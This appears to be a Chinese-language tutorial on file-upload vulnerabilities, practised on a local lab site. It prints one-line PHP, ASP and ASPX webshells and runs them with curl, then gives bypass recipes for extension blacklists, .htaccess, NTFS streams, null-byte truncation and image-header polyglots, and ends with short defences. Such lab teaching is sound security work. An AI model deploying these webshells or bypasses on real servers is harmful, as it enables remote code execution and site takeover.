一句话木马

编写shell.php

1
<?php @eval($_POST['hacker']); ?>

其中一句话木马通常利用的都是类似于php的eval这样的函数,eval函数获取hacker字段的值然后当成PHP代码执行,这种在服务器端能够执行代码的函数就是关键

  • asp 一句话木马:<%execute(request(“value”))%>
  • php 一句话木马:
  • aspx 一句话木马:
    <%@ Page Language=”Jscript”%>
    <%eval(Request.Item[“value”])%>
  • 其他一句话木马:
    <%eval request(“value”)%>
    <%execute request(“value”)%>
    <%execute(request(“value”))%>

image-20221206171554892

点击upload上传文件shell.php(文件内容<?php @eval($_POST['hacker']); ?>),再点击here观察到文件位置是http://127.0.0.1:8888/images/shell.php

接下来使用curl指令发送http请求尝试执行此代码。

1
2
3
4
5
fengyun@ubuntu:~/share/code$ curl -d "hacker=echo getcwd();" http://127.0.0.1:8888/images/shell.php
/app/images

fengyun@ubuntu:~/share/code$ curl -d "hacker=echo get_current_user();" http://127.0.0.1:8888/images/shell.php
www-data

可以看到php被成功执行了

后缀名绕过

image-20221206170849431

好的,我们继续将防护等级提高并且设为mid等级,此时对于上传文件有黑名单,可以发现无法上传shell.php这样以php结尾的文件了

那么另辟蹊径地上传shell.php3文件

image-20221206165623055

shell.php3这样的文件类型是允许的,并且告诉了我们地址,访问这个文件如上图所示,同样的通过curl指令进行测试一下

1
2
fengyun@ubuntu:~/share/code$ curl -d "hacker=echo getcwd();" http://127.0.0.1:8888/images/shell.php3
/app/images

这意味着shell.php3也可以成功地被执行。

接下来修改文件名为shell.php30,可以看到也能正常上传,但是文件似乎以txt的形式直接回显给浏览器

image-20221206165539811

同样地借助curl命令进行测试一下,发现这条语句无法直接被执行

1
2
fengyun@ubuntu:~$ curl -d "hacker=echo getcwd();" http://127.0.0.1:8888/images/shell.php30
<?php @eval($_POST['hacker']); ?>

对于webserver而言往往不知道后端使用什么语言的,但是对于各种后端语言例如PHP,Python,Java是可以解析的,这是因为通过加载的语言解析模块。
为了定位漏洞,打开此docker,使用netstat命令查看正在托管的web服务器的主要服务是apache2,因此查看apache2支持的语言解析模块是怎样的,apache2的配置文件在/etc/apache2目录下,观察config文件发现加载的都是mods-enabled文件夹下的文件

image-20221206170050206

查看php的配置文件,观察php是如何配置的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@87e0fa3a1728:/etc/apache2/mods-enabled# cat php5.conf 
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Order Deny,Allow
Deny from all
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[345]?|t|tml|ps)$">
Order Deny,Allow
Deny from all
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>

其中仔细观察前3行,存在一个正则表达式<FilesMatch ".+\.ph(p[345]?|t|tml)$">从这一句可以看出php3类型都会把文件解析指向php解析器,因此php3被webserver所解析,而php30不在正则表达式中,因此shell.php30被解析成了一个正常的文档,也就无法通过php30文件实现一句话木马。

服务器关联型漏洞

IIS 5.x / 6.0 解析漏洞

漏洞1:当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件
漏洞2:服务器默认不解析“;”以后的内容
漏洞利用形式:
漏洞1:www.xxx.com/xx.asp/xx.jpg 会被解析成asp文件
漏洞2:www.xxx.com/xx.asp;.jpg 会被解析成为asp文件

在windows平台调用解析asp文件时会调用asp.dll,其中代码里有一块不太完善的地方造成了上述漏洞,可以借助IDA和F5插件去找到相关代码段

Nginx 解析漏洞

低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。
PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的。
当URL中有不存在的文件时,PHP就会默认向前解析。

漏洞利用流程:

  1. 访问:www.xx.com/phpinfo.jpg/1.php (1.php不存在)
  2. 会解析phpinfo.jpg文件,但是按照php格式解析

Apache 解析漏洞

Apache 在1.x和2.x版本中存在解析漏洞:
Apache从右至左开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,然后将该可识别后缀进解析。

漏洞利用流程:

  1. 上传shell.php.test;
  2. 访问shell.php.test,服务器会解析shell.php.test文件,但是按照php文件格式进行解析。

前端验证绕过

很多网站、CMS 都有使用,只在前端利用 JavaScript 来做校验。
漏洞利用流程(两种方法都可以):

  1. 通过Burp Suite抓包,然后修改内容后放行。
  2. 通过Chrome禁止/删除JavaScript代码。(按一下F12然后对点击Elements,可以对元素进行删除或者修改)

.htaccess绕过

什么是.htaccess?
.htaccess文件(分布式配置文件)提供了一种方式,使得配置文件可以随文件夹不同而不同,web服务器对网站不同部分做灵活调整,其所放置的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。

如何利用.htaccess?
场景:启用了.htaccess文件的网站,使用此文件类型来绕过限制较全面的黑名单过滤

使用.htaccess文件可以告诉目前作用的文件夹下可以去解析我们指定的某一类文件,尽管不能上传PHP等文件,但是可以上传jpg其他不在黑名单中的文件类型并且以PHP文件指定方式来解析

  1. 上传一个.htaccess文件,文件内容设置为AddType application/x-httpd-php .test(将test文件以PHP代码解析)。
  2. 上传一句话木马文件,文件名设置为shell.test
  3. 在浏览器中访问shell.test即可执行一句话木马。

大小写绕过

这是一种比较简单的绕过方式,同样针对黑名单。
如果我们想上传一个php木马,那么我们可以上传一个pHp即可。

值得思考的问题出现了

  1. php真的等同于pHp吗?
  2. 如果不等同,为什么pHp可以执行呢?

windows下对大小写(test.txttest.tXt会被当成同一个文件)不敏感,Linux对大小写敏感

windows文件流绕过

什么是Windows文件流?

NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

我们来用Windows平台做一些测试:

1
2
3
Echo 111 > test.txt:111.txt;  //文件流是111.txt
Echo test > test.txt; //未命名的文件流
Echo 222 > test.txt::$data; //往test.txt的默认数据流输入222,等价于Echo 222 > test.txt

当上传的功能点做一些文件严格类型匹配的时候,可以输入某个文件流,以此达到 既符合我们要求的一个文件类型的上传,又可以满足解析的时候去解析另一个类型 的目的

文件流只适用于Windows环境下,比如站点禁止上传扩展名为.php的文件,那我们通过文件流的方式,将文件的扩展名修改为.php::$DATA,就可以成功绕过过滤,而对于windows系统来说这就是一个普通的文件,依旧会被作为php文件解析

%00截断绕过

可以看到黑名单会存在巨大的被绕过的风险,无论是服务器原因还是操作系统原因,那么白名单是否完全安全呢? 尽管白名单安全性高于黑名单检测,然而也是存在漏洞的

image-20221207153635826

可以看出代码采用的白名单校验,只允许上传图片格式,理论上这个上传是不好绕过的。但是后面采用保存文件的时候(代码第9行),是路径拼接的形式,而路径又是从前端获取,可以用户控制输入的,所以我们可以采用在路径上截断。

  1. 设置save_path=../upload/a.php%00
  2. 上传一个内容为一句话木马的jpg文件

这里上传一个文件abc.php.jpg并且打开burp suite进行截断

image-20221207171815947

转为16进制后,在php后面那个字符修改为00尝试截断

image-20221207171846334

文件图片成功上传,服务器在判断文件名的时候去按照png结尾(而不是php)的方式判断了文件类型,abc.php%00.png可以通过文件扩展名的过滤,.jpg会作为文件的扩展名进行匹配。但因为截断的存在文件名会被理解为a.php,会使用php解释器来解析该文件。

image-20221207171905762

1
2
fengyun@ubuntu:~/share/code$ curl -d "hacker=echo getcwd();" http://127.0.0.1:8888/images/abc.php
/app/images

截断方式可以生效的根本原因是什么:
是我们可以 分别控制 存储路径 及 文件名称
这样我们才可以实现通过文件名称校验的同时存储为php文件

文件头检测绕过

针对于常见的文件,通常会检测文件头的前几个字符,如下图所示

image-20221207155609029

image-20221207155622978

image-20221207155630922

如果直接上传一句话木马,通常是无法上传的,这里准备了一个test.png文件和test.php文件

1
2
3
4
5
6
fengyun@ubuntu:~/share/code$ cat test.png
�PNG

IHD��
fengyun@ubuntu:~/share/code$ cat test.php
<?php echo 'test'; ?>

采用>>追加在png尾部进行拼接

1
2
3
4
5
6
7
8
9
10
fengyun@ubuntu:~/share/code$ cp test.png test2.png
fengyun@ubuntu:~/share/code$ cat test.php >> test2.png
fengyun@ubuntu:~/share/code$ cat test2.png
�PNG

IHD��<?php echo 'test'; ?>
fengyun@ubuntu:~/share/code$ php test2.png
�PNG

IHD��test

他既满足文件头部的内容检测,又可以执行相应的指令代码段。
但是非常需要注意的一点是,图片的格式是偏向二进制的格式,程序解析器碰到无法解析的字符就无法解析下去了,因此需要把图片的无关内容大量删减后再进行拼接成功率能够提高。

源码审计

继续调高难度,将防护level调为high,发现只能上传jpg和png文件

image-20221207161123626

尝试进入网站根目录仔细地查看一下文件上传这个功能的具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
switch($_COOKIE["security_level"])
{
case "0" :
move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
break;
case "1" :
$file_error = file_upload_check_1($_FILES["file"]);
if(!$file_error)
{
move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
}
break;
case "2" :
$file_error = file_upload_check_2($_FILES["file"], array("jpg","png"));
if(!$file_error)
{
move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
}
break;
default :
move_uploaded_file($_FILES["file"]["tmp_name"],"images/" . $_FILES["file"]["name"]);
break;
}

可以看到是通过cookie的level来判断防护的等级,而最高级cookie level通过burp suite发现是2,因此重点观察file_upload_check_2函数

然后重点逻辑如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$file_array = explode(".", $file["name"]);
// Puts the last part of the array (= the file extension) in a new variabele
// Converts the characters to lower case
$file_extension = strtolower($file_array[count($file_array) - 1]);
// Searches if the file extension exists in the 'allowed' file extensions array
if(!in_array($file_extension, $file_extensions))
{

$file_error = "Sorry, the file extension is not allowed. Only the following extensions are allowed: <b>" . join(", ", $file_extensions) . "</b>";

return $file_error;

}

// Checks if the file already exists in the directory
if(is_file("$directory/" . $file["name"]))
{
$file_error = "Sorry, the file already exists. Please rename the file...";
}
return $file_error;

可以看到逻辑代码非常的严密,并且调用的函数explodein_array也并没有可利用的漏洞

通过源码审计,我们可以发现我们无法同时满足以下两个条件:

  1. 保证上传的文件名类型满足jpg/png;
  2. 保证存储的文件名为php/php3等类型;

因此该文件上传点我们无法直接利用。

那么我们该如何利用这个文件上传漏洞呢?
答案是通过漏洞之间的联合利用,基于我们已经成功上传一句话木马内容的jpg,联合使用本地/远程文件包含漏洞,既可以完成本次渗透。

fuzz模糊测试

模糊测试(fuzz testing, fuzzing)是一种软件测试技术。其核心思想是将自动或半自动生成的随机数据输入到一个程序中,并监视程序异常,如崩溃,断言(assertion) 失败,以发现可能的程序错误,比如内存泄漏。模糊测试常常用于检测软件或计算机系统的安全漏洞。

模糊测试最早由威斯康星大学的Barton Miller于1988年提出。他们的工作不仅使用随机无结构的测试数据,还系统的利用了一系列的工具去分析不同平台上的各种软件,并对测试发现的错误进行了系统的分析。此外,他们还公开了源代码,测试流程以及原始结果数据。

回到之前的文件上传漏洞,难度调为mid,并且上传shell.php

image-20221207164434318

在instruder中选择php文件后缀进行fuzz操作

image-20221207164953759

可以看到不同的反馈,php3的response长度与php的response长度不同,因此这个可能成功了,点击查看response并且查找相应关键字可以发现的确成功了

image-20221207165149462

模糊测试(fuzz testing)和渗透测试(penetration test)都是属于安全测试的方法,它们有同也有异,渗透测试一般是模拟黑客恶意入侵的方式对产品进行测试,对测试者的执行力要求很高,成本高,难以被大规模应用;而模糊测试,它能够充分利用机器本身,随机生成和发送数据;与此同时,又能够引进业内安全专家在安全性方面的建议。

使用过程有几点需要注意:

  1. Fuzz过程由于会产生大量异常输入,未经人工分析,可能造成生产环境崩溃。
  2. Fuzz过程会产生大量负载,可能会对生产环境造成影响。
  3. 安全监测过程中很容易由于过多访问触发安全警报,进而为后续安全检测制造障碍。
    因此Fuzz多用于非生产环境,在生产环境使用要十分慎重。

防御措施

  1. 文件类型检测:白名单 优于 黑名单
  2. 使用安全的函数进行编程
  3. 熟悉业务部署环境的OS、Web Server配置